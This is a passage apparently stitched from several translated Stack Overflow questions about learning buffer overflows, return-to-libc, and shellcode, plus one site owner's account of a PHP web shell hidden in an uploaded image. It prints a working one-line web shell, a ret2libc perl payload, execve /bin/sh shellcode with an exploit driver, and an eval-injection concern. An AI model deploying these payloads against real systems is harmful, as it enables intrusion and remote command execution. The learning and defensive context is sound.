问题实际上是关于C中的堆栈溢出.我有一个不能完成我的生活的分配,我已经查看了gdb中的所有内容,我只是无法想象它.
问题如下:
int i,n;
void confused()
{
printf("who called me");
exit(0);
}
void shell_call(char *c)
{
printf(" ***Now calling \"%s\" shell command *** \n",c);
system(c);
exit(0);
}
void victim_func()
{
int a[4];
printf("[8]:%x\n", &a[8]);
printf("Enter n: "); scanf("%d",&n);
printf("Enter %d HEX Values \n",n);
for(i=0;i<n;i++) scanf("%x",&a[i]);
printf("Done reading junk numbers\n");
}
int main()
{
printf("ls=736c --- ps = 7370 --- cal = 6c6163\n");
printf("location of confused %x \n", confused);
printf("location of shell_call %x \n", shell_call);
victim_func();
printf("Done, thank you\n");
}
Run Code Online (Sandbox Code Playgroud)
好的,所以我设法正确地得到了第一个问题,即任意调用主路径中未明确调用的两个函数之一.顺便说一下,这必须在运行程序时完成而不做任何修改.我这样做是通过运行程序,设置 …
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;//why is it 8??
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
Run Code Online (Sandbox Code Playgroud)
上面的演示来自这里:
http://insecure.org/stf/smashstack.html
但它在这里不起作用:
D:\test>gcc -Wall -Wextra hw.cpp && a.exe
hw.cpp: In function `void function(int, int, int)':
hw.cpp:6: warning: unused variable 'buffer2'
hw.cpp: At global scope:
hw.cpp:4: warning: unused parameter 'a'
hw.cpp:4: warning: unused parameter 'b'
hw.cpp:4: warning: unused parameter 'c' …Run Code Online (Sandbox Code Playgroud) 昨天我的网站被组成了.攻击者将index.php文件更改为自己的文件(带有所有荣耀消息和问候语).我已经通知了托管公司(我们在专用服务器上运行),就我而言,我正在尝试修复任何看起来很重要的原因,因为我仍然无法指出我们究竟是怎么做到的.服务器遭到攻击,但我认为我发现某些基于脚本的漏洞可能是罪魁祸首.
我们的网站有一个图像上传器表单,但是如果它们确实是图像文件而不是某些代码,则使用php getimagesize函数验证所有上传的图像.仅当图像类型为IMAGETYPE_GIF或IMAGETYPE_JPEG或IMAGETYPE_PNG时才会接受它们.否则,他们将无法上传文件.但是我发现一个上传的图像文件里面包含一个php脚本!您可以在此处下载图像.这是一个有效的图像文件,但尝试使用任何文本编辑器打开图像,你会在其中找到一个PHP代码:
<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>
Run Code Online (Sandbox Code Playgroud)
例如,图像上传到此位置(www.mysite.com/uploads/picodes.jpg).请注意,文件夹上传的权限是755.攻击者是否有任何方法可以执行系统(或任何其他命令,如passthru,因为我们发现另一个图像具有与上面相同的代码隐藏,但不是系统,它有passthru命令),例如,键入www.mysite.com/uploads/picodes.jpg?cmd=some命令 ?? 根据我的知识,它无法完成(真的很感激,如果有人可以证明我错了),除非攻击者可以将jpg文件重命名为php,即便如此,这些代码仍隐藏在图像内部(请参阅里面的图像文本编辑器,以了解我想说的是什么)
为了预防,我已经通过在php.ini中的disable_functions上添加它们来禁用这些php函数(exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system).
无论如何,我仍然认为攻击者不是通过网络获取访问权限,而是通过服务器利用,但我认为我的托管公司不这么认为.
我遇到了返回libc漏洞的问题.问题是没有任何事情发生,但没有分段错误(是的,我实际上是溢出堆栈).
这是我的计划:
int main(int argc, char **argv) {
char array[512];
gets(array);
}
Run Code Online (Sandbox Code Playgroud)
我使用的是gets而不是strcopy,因为我的地址以0x00开头而strcpy认为它是字符串的结尾,所以我不能使用它.
以下是我需要的地址:
$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb) x/s 0xbffffe3f
0xbffffe3f: "/bin/sh"
Run Code Online (Sandbox Code Playgroud)
输入正确的序列时,会发生这种情况:
eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$
Run Code Online (Sandbox Code Playgroud)
所以什么都没有.
但是如果我输入520'A'(0x41),那么EIP会溢出'A'.如果有516'A',则没有任何反应,但EIP包含系统地址,在退出地址之后,在/ bin/sh指针之后.
什么都没发生?
我正在阅读这本书"剥削艺术",这本书很好,我从exploit_notesearch.c文件中查看了这个例子.
简要的作者试图从notesearch.c溢出程序
int main(int argc, char *argv[]) {
int userid, printing=1, fd;
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]);
else // otherwise,
searchstring[0] = 0;
Run Code Online (Sandbox Code Playgroud)
main函数的参数被复制到searchstring数组,如果参数大于100字节,它将从main函数溢出返回地址.
作者在exploit_notesearch.c中准备shellcode并调用易受攻击的notesearch.c
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
ret = (unsigned int) &i - offset; // Set return address
for(i=0; …Run Code Online (Sandbox Code Playgroud) 我的页面上有一个表单字段,如果用户在其中键入一个简单的数学方程式,我想用解决方案替换该值.因此,如果用户键入1 + 2字段并点击,enter我将替换输入值3.
目前我只评估方程式是否匹配此正则表达式:
/^[\d. \+/\*-]+$/
Run Code Online (Sandbox Code Playgroud)
也就是说,如果整个字符串由数字,空格,加号,减号,乘法或除数字符组成.
然后我像这样评估值:
(new Function('try {var a = ' + val + '; return a;} catch(e) {return -1;}'))()
Run Code Online (Sandbox Code Playgroud)
此表单字段可以由查询字符串参数预先填充,客户端将尝试执行它.AKA潜在的攻击将是mysite.com?inputVal=cookieStealingProgram.我不希望用户能够链接到利用代码.
我想在正则表达式中添加括号和指数,以便用户可以(1 + 2) / 3 ^ 5输入例如.虽然我相当确定只有数字和运算符不可能有任何漏洞利用,但我不确定括号中的情况.
我知道只使用字符的组合,! [ ] + ( )您可以创建一个完全可执行的JavaScript程序.我也尝试在Google中搜索"javascript exploit characters"和各种组合,但这并不是一件容易找到的事情.
我的具体问题是,是否可以使用0-9 . + - / * ( ) ^(允许空格字符)编写任意javascript程序?由于它有点开放,如果几天后没有提供例子,我很好地结束这个问题.
我没有实现也没有使用解析器来执行此操作.这与这个问题无关
如果你们熟悉漏洞利用开发的基础知识,您就会知道,当您利用潜在的缓冲区溢出时,通常是为了找到“破坏”您想要修改的特定寄存器的缓冲区的偏移量,您会发送如下输入:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
然后通过使用调试器并将发现的溢出到所需缓冲区位置的值传递到工具中,您将获得偏移量以了解从哪里开始插入有效负载。
使用仅支持 ELF 文件的 pwntools,这可以自动化,使用cyclic(200, n=8)和巧妙地跳过调试器步骤cyclic_find(core.read(core.rsp, 8), n=8)。这是一个完整的示例:
from pwn import *
elf = ELF("./exploit_this") # reminds the user that only ELFs are supported
p = process("./exploit_this")
p.sendline(cyclic(200, n=8))
p.wait()
core = p.corefile
print(cyclic_find(core.read(core.rsp, 8), n=8))
Run Code Online (Sandbox Code Playgroud)
但是,我无法(至少使用 pwntools)获取 PE 文件的核心文件。有没有其他方法可以用Python来实现呢?请注意,我并不是要求像 pwntools 那样抽象的方法,即使只是在 Python 中获取 corefile 也是我所需要的。我可以自己编写循环函数,没有问题。
在我正在研究的信息安全实验室中,我的任务是执行多个命令,只需调用"system()"(用C编写,在Fedora上运行).允许我通过system()执行多命令的语法是什么?(如果程序通过system()调用与OS交互,那么您可以通过在远程计算机上运行的程序执行任意命令.)
即:
char command[] = "????? \r\n";
system(command);
Run Code Online (Sandbox Code Playgroud) 我刚刚写了一个C代码,如下所示:
#include<stdio.h>
#include<string.h>
void func(char *str)
{
char buffer[24];
int *ret;
strcpy(buffer,str);
}
int main(int argc,char **argv)
{
int x;
x=0;
func(argv[1]);
x=1;
printf("\nx is 1\n");
printf("\nx is 0\n\n");
}
Run Code Online (Sandbox Code Playgroud)
请告诉我如何跳过printf行("\nx是1 \n"); .之前我得到的线索是修改ret变量,它是函数func的返回地址.
您能否建议我如何更改上述程序中的返回地址,以便printf("\nx是1 \n"); 被跳过了.
我发布了这个问题,因为我不知道如何更改返回地址.
如果你帮助我,那将是很棒的.
谢谢
我正在试验对Linux上用C编写的程序的控制流劫持攻击.我正在尝试对启用了No-eXecutable-stack对策的程序执行简单的ret-2-libc攻击.为此,我将返回system()带参数的函数/bin/sh.
但是我遇到了一个问题:虽然我的攻击有效并且shell成功生成,但是在进入第一个角色后shell立即退出!也就是说,按下任意键后shell关闭!
在这个简单的C代码中也可以观察到这种行为:
int main() { system("/bin/sh"); return 0; }
Run Code Online (Sandbox Code Playgroud)
我用它编译它: gcc code.c -o system
为什么是这样?我该如何解决?
我在尝试Ubuntu-9.04使用kernel 2.6.28和glibc-2.9-1
更新:当且仅当我按下的第一个键时,shell才会变为交互式Enter.也就是说,如果我输入的第一个字符是a new-line(\n),那么shell将保持打开状态并变为交互式.
所以有人能解释这里发生了什么吗?